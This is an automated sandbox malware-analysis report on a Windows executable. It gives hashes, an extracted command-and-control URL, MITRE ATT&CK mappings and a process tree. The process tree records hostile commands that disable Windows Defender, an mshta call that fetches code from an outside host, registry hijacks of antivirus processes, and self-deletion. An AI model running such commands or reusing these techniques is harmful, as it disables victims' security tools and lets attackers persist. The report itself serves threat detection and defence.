Analysis
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max time kernel
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max time network
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platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
21/08/2024, 08:18
Static task
static1
Behavioral task
behavioral1
Sample
b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe
Resource
win10v2004-20240802-en
General
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Target
b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe
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Size
2.6MB
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MD5
b2bd46e4156648e001ed731a637f30ce
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SHA1
fbf107993c2ba05c020752ff5139ce3f07bdbbef
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SHA256
e8079ed79b19b4dee2b023bf633be8d93e624cba8ca8963c05a62cfcc8b3b008
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SHA512
0c72a98a3a2c903020528e7790ef1559a4cfdd42ae5c4888b9e5cbe725a4b40625b2447eff4a47544450057c9ee3d30fcdb61661be81e899145b066c109ed2d6
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SSDEEP
49152:Lidw4KIvVbsaJukZoxA1pzCW9cPBBcuXwUdt515LspMKjnAV7:edwAVbnIkuxA1pzV9eBN5LspMbV7
Malware Config
Extracted
http://soft-store-inc.com/soft-usage/favicon.ico?0=1200&1=ZEUYFSYD&2=i-s&3=115&4=9200&5=6&6=2&7=919041&8=1033
Signatures
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Modifies WinLogon for persistence 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\grbypq.exe" grbypq.exe -
Event Triggered Execution: Image File Execution Options Injection 1 TTPs 16 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe grbypq.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe grbypq.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe\Debugger = "svchost.exe" grbypq.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe\Debugger = "svchost.exe" grbypq.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe\Debugger = "svchost.exe" grbypq.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe grbypq.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe" grbypq.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe\Debugger = "svchost.exe" grbypq.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe grbypq.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe grbypq.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe grbypq.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe\Debugger = "svchost.exe" grbypq.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe" grbypq.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe grbypq.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe grbypq.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe\Debugger = "svchost.exe" grbypq.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-355097885-2402257403-2971294179-1000\Control Panel\International\Geo\Nation b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe -
Executes dropped EXE 1 IoCs
pid Process 3696 grbypq.exe -
Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
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Launches sc.exe 6 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3400 sc.exe 1616 sc.exe 1712 sc.exe 4748 sc.exe 2104 sc.exe 3148 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 14 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language grbypq.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe -
Runs net.exe
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Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 3696 grbypq.exe Token: SeShutdownPrivilege 3696 grbypq.exe Token: SeDebugPrivilege 3696 grbypq.exe Token: SeShutdownPrivilege 3696 grbypq.exe -
Suspicious use of FindShellTrayWindow 4 IoCs
pid Process 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe 3696 grbypq.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
pid Process 3696 grbypq.exe 3696 grbypq.exe -
Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 4200 wrote to memory of 1712 4200 b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe 87 PID 4200 wrote to memory of 1712 4200 b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe 87 PID 4200 wrote to memory of 1712 4200 b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe 87 PID 4200 wrote to memory of 1616 4200 b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe 88 PID 4200 wrote to memory of 1616 4200 b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe 88 PID 4200 wrote to memory of 1616 4200 b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe 88 PID 4200 wrote to memory of 3420 4200 b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe 89 PID 4200 wrote to memory of 3420 4200 b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe 89 PID 4200 wrote to memory of 3420 4200 b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe 89 PID 4200 wrote to memory of 3400 4200 b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe 90 PID 4200 wrote to memory of 3400 4200 b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe 90 PID 4200 wrote to memory of 3400 4200 b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe 90 PID 4200 wrote to memory of 3696 4200 b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe 94 PID 4200 wrote to memory of 3696 4200 b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe 94 PID 4200 wrote to memory of 3696 4200 b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe 94 PID 3420 wrote to memory of 4508 3420 net.exe 96 PID 3420 wrote to memory of 4508 3420 net.exe 96 PID 3420 wrote to memory of 4508 3420 net.exe 96 PID 4200 wrote to memory of 3832 4200 b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe 97 PID 4200 wrote to memory of 3832 4200 b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe 97 PID 4200 wrote to memory of 3832 4200 b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe 97 PID 3696 wrote to memory of 4748 3696 grbypq.exe 99 PID 3696 wrote to memory of 4748 3696 grbypq.exe 99 PID 3696 wrote to memory of 4748 3696 grbypq.exe 99 PID 3696 wrote to memory of 3148 3696 grbypq.exe 100 PID 3696 wrote to memory of 3148 3696 grbypq.exe 100 PID 3696 wrote to memory of 3148 3696 grbypq.exe 100 PID 3696 wrote to memory of 556 3696 grbypq.exe 101 PID 3696 wrote to memory of 556 3696 grbypq.exe 101 PID 3696 wrote to memory of 556 3696 grbypq.exe 101 PID 3696 wrote to memory of 2104 3696 grbypq.exe 102 PID 3696 wrote to memory of 2104 3696 grbypq.exe 102 PID 3696 wrote to memory of 2104 3696 grbypq.exe 102 PID 556 wrote to memory of 512 556 net.exe 107 PID 556 wrote to memory of 512 556 net.exe 107 PID 556 wrote to memory of 512 556 net.exe 107 PID 3696 wrote to memory of 4592 3696 grbypq.exe 108 PID 3696 wrote to memory of 4592 3696 grbypq.exe 108 PID 3696 wrote to memory of 4592 3696 grbypq.exe 108
Processes
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C:\Users\Admin\AppData\Local\Temp\b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\b2bd46e4156648e001ed731a637f30ce_JaffaCakes118.exe"1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4200 -
C:\Windows\SysWOW64\sc.exesc stop WinDefend2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1712
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C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1616
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C:\Windows\SysWOW64\net.exenet stop msmpsvc2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3420 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msmpsvc3⤵
- System Location Discovery: System Language Discovery
PID:4508
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C:\Windows\SysWOW64\sc.exesc config msmpsvc start= disabled2⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3400
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C:\Users\Admin\AppData\Roaming\Microsoft\grbypq.exeC:\Users\Admin\AppData\Roaming\Microsoft\grbypq.exe2⤵
- Modifies WinLogon for persistence
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3696 -
C:\Windows\SysWOW64\sc.exesc stop WinDefend3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4748
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C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3148
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C:\Windows\SysWOW64\net.exenet stop msmpsvc3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:556 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop msmpsvc4⤵
- System Location Discovery: System Language Discovery
PID:512
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C:\Windows\SysWOW64\sc.exesc config msmpsvc start= disabled3⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2104
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C:\Windows\SysWOW64\mshta.exemshta.exe "http://soft-store-inc.com/soft-usage/favicon.ico?0=1200&1=ZEUYFSYD&2=i-s&3=115&4=9200&5=6&6=2&7=919041&8=1033"3⤵
- System Location Discovery: System Language Discovery
PID:4592
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\B2BD46~1.EXE" >> NUL2⤵
- System Location Discovery: System Language Discovery
PID:3832
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Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Image File Execution Options Injection
1Privilege Escalation
Boot or Logon Autostart Execution
1Winlogon Helper DLL
1Create or Modify System Process
2Windows Service
2Event Triggered Execution
1Image File Execution Options Injection
1Defense Evasion
Impair Defenses
1Indicator Removal
1File Deletion
1Modify Registry
1Replay Monitor
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Downloads
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Filesize
2.6MB
MD5b2bd46e4156648e001ed731a637f30ce
SHA1fbf107993c2ba05c020752ff5139ce3f07bdbbef
SHA256e8079ed79b19b4dee2b023bf633be8d93e624cba8ca8963c05a62cfcc8b3b008
SHA5120c72a98a3a2c903020528e7790ef1559a4cfdd42ae5c4888b9e5cbe725a4b40625b2447eff4a47544450057c9ee3d30fcdb61661be81e899145b066c109ed2d6